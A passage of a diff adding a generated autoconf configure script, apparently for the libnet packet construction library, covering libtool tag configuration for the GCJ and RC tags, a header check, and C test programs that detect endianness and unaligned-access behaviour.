+whole_archive_flag_spec=$lt_whole_archive_flag_spec_GCJ + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec_GCJ + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds_GCJ +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_GCJ + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_GCJ + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds_GCJ +archive_expsym_cmds=$lt_archive_expsym_cmds_GCJ +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds_GCJ +module_expsym_cmds=$lt_module_expsym_cmds_GCJ + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects_GCJ + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects_GCJ + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps_GCJ + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps_GCJ + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path_GCJ + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag_GCJ + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag_GCJ + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action_GCJ + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_GCJ + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_GCJ + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator_GCJ + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct_GCJ + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L_GCJ + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var_GCJ + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic_GCJ + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs_GCJ + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path_GCJ" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols_GCJ + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds_GCJ + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms_GCJ + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms_GCJ + +# ### END LIBTOOL TAG CONFIG: $tagname + +__EOF__ + + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC="$lt_save_CC" + + else + tagname="" + fi + ;; + + RC) + + + +# Source file extension for RC test sources. +ac_ext=rc + +# Object file extension for compiled RC test sources. +objext=o +objext_RC=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n' + +# Code to be used in simple link tests +lt_simple_link_test_code="$lt_simple_compile_test_code" + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Allow CC to be a program name with arguments. +lt_save_CC="$CC" +CC=${RC-"windres"} +compiler=$CC +compiler_RC=$CC +lt_cv_prog_compiler_c_o_RC=yes + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler_RC \ + CC_RC \ + LD_RC \ + lt_prog_compiler_wl_RC \ + lt_prog_compiler_pic_RC \ + lt_prog_compiler_static_RC \ + lt_prog_compiler_no_builtin_flag_RC \ + export_dynamic_flag_spec_RC \ + thread_safe_flag_spec_RC \ + whole_archive_flag_spec_RC \ + enable_shared_with_static_runtimes_RC \ + old_archive_cmds_RC \ + old_archive_from_new_cmds_RC \ + predep_objects_RC \ + postdep_objects_RC \ + predeps_RC \ + postdeps_RC \ + compiler_lib_search_path_RC \ + archive_cmds_RC \ + archive_expsym_cmds_RC \ + postinstall_cmds_RC \ + postuninstall_cmds_RC \ + old_archive_from_expsyms_cmds_RC \ + allow_undefined_flag_RC \ + no_undefined_flag_RC \ + export_symbols_cmds_RC \ + hardcode_libdir_flag_spec_RC \ + hardcode_libdir_flag_spec_ld_RC \ + hardcode_libdir_separator_RC \ + hardcode_automatic_RC \ + module_cmds_RC \ + module_expsym_cmds_RC \ + lt_cv_prog_compiler_c_o_RC \ + exclude_expsyms_RC \ + include_expsyms_RC; do + + case $var in + old_archive_cmds_RC | \ + old_archive_from_new_cmds_RC | \ + archive_cmds_RC | \ + archive_expsym_cmds_RC | \ + module_cmds_RC | \ + module_expsym_cmds_RC | \ + old_archive_from_expsyms_cmds_RC | \ + export_symbols_cmds_RC | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="$ofile" + + cat <<__EOF__ >> "$cfgfile" +# ### BEGIN LIBTOOL TAG CONFIG: $tagname + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc_RC + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_RC + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler_RC + +# Is the compiler the GNU C compiler? +with_gcc=$GCC_RC + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD_RC + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl_RC + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic_RC +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o_RC + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static_RC + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_RC + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_RC + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec_RC + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec_RC + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds_RC +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_RC + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_RC + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds_RC +archive_expsym_cmds=$lt_archive_expsym_cmds_RC +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds_RC +module_expsym_cmds=$lt_module_expsym_cmds_RC + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects_RC + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects_RC + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps_RC + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps_RC + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path_RC + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag_RC + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag_RC + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action_RC + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_RC + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_RC + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator_RC + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct_RC + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L_RC + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var_RC + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic_RC + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs_RC + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path_RC" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols_RC + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds_RC + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms_RC + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms_RC + +# ### END LIBTOOL TAG CONFIG: $tagname + +__EOF__ + + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC="$lt_save_CC" + + ;; + + *) + { { echo "$as_me:$LINENO: error: Unsupported tag name: $tagname" >&5 +echo "$as_me: error: Unsupported tag name: $tagname" >&2;} + { (exit 1); exit 1; }; } + ;; + esac + + # Append the new tag name to the list of available tags. + if test -n "$tagname" ; then + available_tags="$available_tags $tagname" + fi + fi + done + IFS="$lt_save_ifs" + + # Now substitute the updated list of available tags. + if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then + mv "${ofile}T" "$ofile" + chmod +x "$ofile" + else + rm -f "${ofile}T" + { { echo "$as_me:$LINENO: error: unable to update list of available tagged configurations." >&5 +echo "$as_me: error: unable to update list of available tagged configurations." >&2;} + { (exit 1); exit 1; }; } + fi +fi + + + +# This can be used to rebuild libtool when needed +LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh" + +# Always use our own libtool. +LIBTOOL='$(SHELL) $(top_builddir)/libtool' + +# Prevent multiple expansion + + + + + + + + + + + + + + + + + + + + + + +for ac_header in sys/sockio.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 +else + # Is the header compilable? +echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_header_compiler=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6 + +# Is the header present? +echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi +rm -f conftest.err conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6 + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( + cat <<\_ASBOX +## ------------------------------------------------------ ## +## Report this to the Packet construction library lists. ## +## ------------------------------------------------------ ## +_ASBOX + ) | + sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + +echo "$as_me:$LINENO: checking machine endianess" >&5 +echo $ECHO_N "checking machine endianess... $ECHO_C" >&6 + + cat > conftest.c << EOF +# include <stdio.h> +# include <stdlib.h> + + int main() + { + union + { + short s; + char c[sizeof(short)]; + } un; + + un.s = 0x0102; + if (sizeof (short) == 2) + { + if (un.c [0] == 1 && un.c [1] == 2) + { + printf("B\n"); + } + else + { + if (un.c [0] == 2 && un.c [1] == 1) + { + printf("L\n"); + } + } + } + else + { + printf("?\n"); + } + return (EXIT_SUCCESS); + } +EOF + ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.c $LIBS > /dev/null 2>&1 + # Oopz 4.3 BSD doesn't have this. Sorry. + if test ! -x conftest ; then + ac_cv_libnet_endianess=unknown + else + ./conftest > conftest.out + result=`cat conftest.out` + if test $result = "B"; then + ac_cv_libnet_endianess=big + elif test $result = "L"; then + ac_cv_libnet_endianess=lil + else + ac_cv_libnet_endianess=unknown + fi + fi + rm -f conftest* core core.conftest + + echo "$as_me:$LINENO: result: $ac_cv_libnet_endianess" >&5 +echo "${ECHO_T}$ac_cv_libnet_endianess" >&6 + + if test $ac_cv_libnet_endianess = big ; then + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_BIG_ENDIAN 1 +_ACEOF + + ENDIANESS="LIBNET_BIG_ENDIAN" + LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_BIG_ENDIAN" + elif test $ac_cv_libnet_endianess = lil ; then + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_LIL_ENDIAN 1 +_ACEOF + + ENDIANESS="LIBNET_LIL_ENDIAN" + LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_LIL_ENDIAN" + fi + +echo "$as_me:$LINENO: checking if unaligned accesses fail" >&5 +echo $ECHO_N "checking if unaligned accesses fail... $ECHO_C" >&6 + if test "${ac_cv_lbl_unaligned_fail+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + case "$target_cpu" in + + alpha|hp*|mips|sparc) + ac_cv_lbl_unaligned_fail=yes + ;; + + *) + cat >conftest.c <<EOF +# include <sys/types.h> +# include <sys/wait.h> +# include <stdio.h> + unsigned char a[5] = { 1, 2, 3, 4, 5 }; + main() + { + unsigned int i; + pid_t pid; + int status; + /* avoid "core dumped" message */ + pid = fork(); + if (pid < 0) + { + exit(2); + } + if (pid > 0) + { + /* parent */ + pid = waitpid(pid, &status, 0); + if (pid < 0) + { + exit(3); + } + exit(!WIFEXITED(status)); + } + /* child */ + i = *(unsigned int *)&a[1]; + printf("%d\n", i); + exit(0); + } +EOF + ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \ + conftest.c $LIBS > /dev/null 2>&1 + # Oopz 4.3 BSD doesn't have this. Sorry. + if test ! -x conftest ; then + ac_cv_lbl_unaligned_fail=yes + else + ./conftest > conftest.out + if test ! -s conftest.out ; then + ac_cv_lbl_unaligned_fail=yes + else + ac_cv_lbl_unaligned_fail=no + fi + fi + rm -f conftest* core core.conftest + ;; + esac +fi + + echo "$as_me:$LINENO: result: $ac_cv_lbl_unaligned_fail" >&5 +echo "${ECHO_T}$ac_cv_lbl_unaligned_fail" >&6 + if test $ac_cv_lbl_unaligned_fail = yes ; then + +cat >>confdefs.h <<\_ACEOF +#define LBL_ALIGN 1 +_ACEOF + + fi + + + + + + + + + + +if test $ac_cv_c_compiler_gnu = yes; then + echo "$as_me:$LINENO: checking whether $CC needs -traditional" >&5 +echo $ECHO_N "checking whether $CC needs -traditional... $ECHO_C" >&6 +if test "${ac_cv_prog_gcc_traditional+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_pattern="Autoconf.*'x'" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <sgtty.h> +Autoconf TIOCGETP +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "$ac_pattern" >/dev/null 2>&1; then + ac_cv_prog_gcc_traditional=yes +else + ac_cv_prog_gcc_traditional=no +fi +rm -f conftest* + + + if test $ac_cv_prog_gcc_traditional = no; then + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <termio.h> +Autoconf TCGETA +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "$ac_pattern" >/dev/null 2>&1; then + ac_cv_prog_gcc_traditional=yes +fi +rm -f conftest* + + fi +fi +echo "$as_me:$LINENO: result: 